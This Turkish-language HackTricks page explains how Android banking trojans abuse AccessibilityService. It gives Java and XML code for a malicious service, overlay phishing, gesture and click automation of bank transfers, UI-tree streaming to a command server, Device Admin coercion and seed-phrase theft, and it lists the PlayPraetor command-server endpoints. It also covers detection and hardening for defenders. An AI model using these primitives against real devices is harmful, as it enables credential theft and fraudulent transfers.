Android Accessibility Service Kötüye Kullanımı

Reading time: 8 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

AccessibilityService, engelli kullanıcıların Android cihazlarla etkileşim kurmasına yardımcı olmak için oluşturuldu. Ne yazık ki aynı güçlü otomasyon API'leri (küresel gezinme, metin girişi, jest yönlendirme, üst üste binen pencereler…) kötü amaçlı yazılımlar tarafından cihaz üzerinde tam uzaktan kontrol sağlamak için kullanılabilir root ayrıcalıkları olmadan.

Günümüz Android bankacılık Trojanları ve Remote-Access-Trojans (RATs) ör. PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda ve diğerleri aynı reçeteyi izler:

  1. Kurbanı sosyal mühendislikle kötü amaçlı bir erişilebilirlik servisini etkinleştirmeye ikna et ( BIND_ACCESSIBILITY_SERVICE izni "high-risk" olarak kabul edilir ve açık bir kullanıcı işlemi gerektirir).
  2. Servisi şu amaçlarla kullan:
  • ekranda görünen her UI olayını ve metni yakalamak,
  • operatörün istediği herhangi bir görevi otomatikleştirmek için sentetik hareketler (dispatchGesture) ve global eylemler (performGlobalAction) enjekte etmek,
  • meşru uygulamaların üzerine tam ekran overlay'ler çizmek için TYPE_ACCESSIBILITY_OVERLAY pencere türünü kullanmak (no SYSTEM_ALERT_WINDOW prompt!),
  • kurban adına sistem diyaloglarındaki butonlara tıklayarak ek çalışma zamanı izinlerini sessizce vermek.
  1. Verileri exfiltrate etmek veya kullanıcı normal bir ekranı izlerken gerçek zamanlı olarak On-Device-Fraud (ODF) gerçekleştirmek.

İzin İsteme

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Eşlik eden XML, sahte iletişim kutusunun nasıl görüneceğini tanımlar:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Uzaktan UI otomasyon temel bileşenleri

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Sadece bu iki API ile bir saldırgan şunları yapabilir:

  • Ekranın kilidini açmak, bankacılık uygulamasını açmak, UI ağacında gezinmek ve bir transfer formu göndermek.
  • Görünen tüm izin diyaloglarını kabul etmek.
  • Play Store intent'i aracılığıyla ekstra APK'leri yüklemek/güncellemek.

İstismar örüntüleri

1. Overlay Phishing (Credential Harvesting)

Pencere yöneticisine şeffaf veya opak bir WebView eklenir:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Kurbandaki kişi sahte forma kimlik bilgilerini girerken arka plandaki uygulama aynı jestleri alır — hiç şüpheli "draw over other apps" istemi gösterilmez.

Detailed example: the Accessibility Overlay Phishing section inside the Tapjacking page.

2. Cihaz Üzerinde Dolandırıcılık Otomasyonu

Malware aileleri (ör. PlayPraetor), operatörün yüksek seviyeli komutlar (init, update, alert_arr, report_list, …) gönderebildiği kalıcı bir WebSocket kanalı tutar. Servis bu komutları yukarıdaki düşük seviyeli jestlere çevirir ve aynı cihaza bağlı multi-factor-authentication'ı kolayca atlatan gerçek zamanlı yetkisiz işlemler gerçekleştirir.

3. Ekran akışı ve izleme

MediaProjection API ile bir RTMP client kütüphanesini birleştirerek, RAT canlı framebuffer'ı rtmp://<c2>:1935/live/<device_id> adresine yayınlayabilir; bu, Accessibility engine UI'yi kontrol ederken saldırgana mükemmel durum farkındalığı sağlar.


PlayPraetor – command & control workflow

  1. HTTP(S) heartbeat – iterate over a hard-coded list until one domain answers POST /app/searchPackageName with the active C2.
  2. WebSocket (port 8282) – bidirectional JSON commands:
  • update – push new conf/APKs
  • alert_arr – configure overlay templates
  • report_list – send list of targeted package names
  • heartbeat_web – keep-alive
  1. RTMP (port 1935) – live screen/video streaming.
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

The AccessibilityService is the local engine that turns those cloud commands into physical interactions.


Kötü amaçlı Accessibility servislerini tespit etme

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – Google Play'den olmayan uygulamalara bakın.
  • MDM / EMM çözümleri, sideloaded servisleri engellemek için ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) uygulayabilir.
  • Çalışan servisleri analiz et:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Uygulama geliştiricileri için sertleştirme önerileri

  • Duyarlı görünümleri android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+) ile işaretleyin.
  • setFilterTouchesWhenObscured(true) ile FLAG_SECURE'yi birleştirerek tap/overlay hijacking'i önleyin.
  • WindowManager.getDefaultDisplay().getFlags() veya ViewRootImpl API'sini sorgulayarak overlay'leri tespit edin.
  • Settings.canDrawOverlays() veya güvenilmeyen bir Accessibility servisi etkinse çalışmayı reddedin.

ATS otomasyonu cheat-sheet (Accessibility-driven)

Malware, sadece Accessibility API'leriyle bir banka uygulamasını tamamen otomatikleştirebilir. Genel primitive'ler:

java
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}

Örnek akış (Çekçe → İngilizce etiketler):

  • "Nová platba" (Yeni ödeme) → tıkla
  • "Zadat platbu" (Ödeme gir) → tıkla
  • "Nový příjemce" (Yeni alıcı) → tıkla
  • "Domácí číslo účtu" (Yurtiçi hesap numarası) → odakla ve ACTION_SET_TEXT
  • "Další" (İleri) → tıkla → … "Zaplatit" (Öde) → tıkla → PIN gir

Geriye dönüş: Özelleştirilmiş widget'lar nedeniyle metin araması başarısız olduğunda dispatchGesture ile sabit koordinatlar kullanılır.

Ayrıca gözlemlendi: transfer öncesinde limitler UI'sine gidip günlük limitleri artırarak check_limit ve limit için ön adımlar.

Metin tabanlı sahte-ekran akışı

Düşük gecikmeli uzaktan kontrol için, tam video akışı yerine mevcut UI ağacının metinsel bir temsilini çıkarıp C2'ye tekrarlayarak gönderin.

java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Bu, txt_screen (tek seferlik) ve screen_live (sürekli) gibi komutların temelidir.

Device Admin zorlamaya yönelik primitifler

Bir Device Admin alıcısı etkinleştirildiğinde, bu çağrılar kimlik bilgilerini ele geçirme ve kontrolü sürdürme fırsatlarını artırır:

java
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Not: Bu politikaların tam kullanılabilirliği Android sürümüne ve OEM'e göre değişir; test sırasında cihaz politika rolünü (admin vs owner) doğrulayın.

Kripto cüzdan seed-phrase çıkarma kalıpları

MetaMask, Trust Wallet, Blockchain.com ve Phantom için gözlemlenen akışlar:

  • Çalınmış PIN ile kilidin açılması (overlay/Erişilebilirlik üzerinden yakalanmış) veya sağlanan cüzdan şifresi.
  • Gezinme: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • İfadeyi keylogging ile metin düğümlerinden, secure-screen bypass ile veya metin gizlendiğinde ekran görüntüsü OCR ile toplayın.
  • Seçicileri istikrarlı hale getirmek için birden fazla locale (EN/RU/CZ/SK) destekleyin – mümkünse viewIdResourceName'i tercih edin, yoksa çok dilli metin eşleştirmesine geri dönün.

NFC-relay orkestrasyonu

Erişilebilirlik/RAT modülleri, üçüncü aşama olarak özel bir NFC-relay uygulaması (ör. NFSkate) kurup başlatabilir ve hatta kurbanı card-present relay adımlarında yönlendirmek için bir overlay kılavuzu enjekte edebilir.

Arka plan ve TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin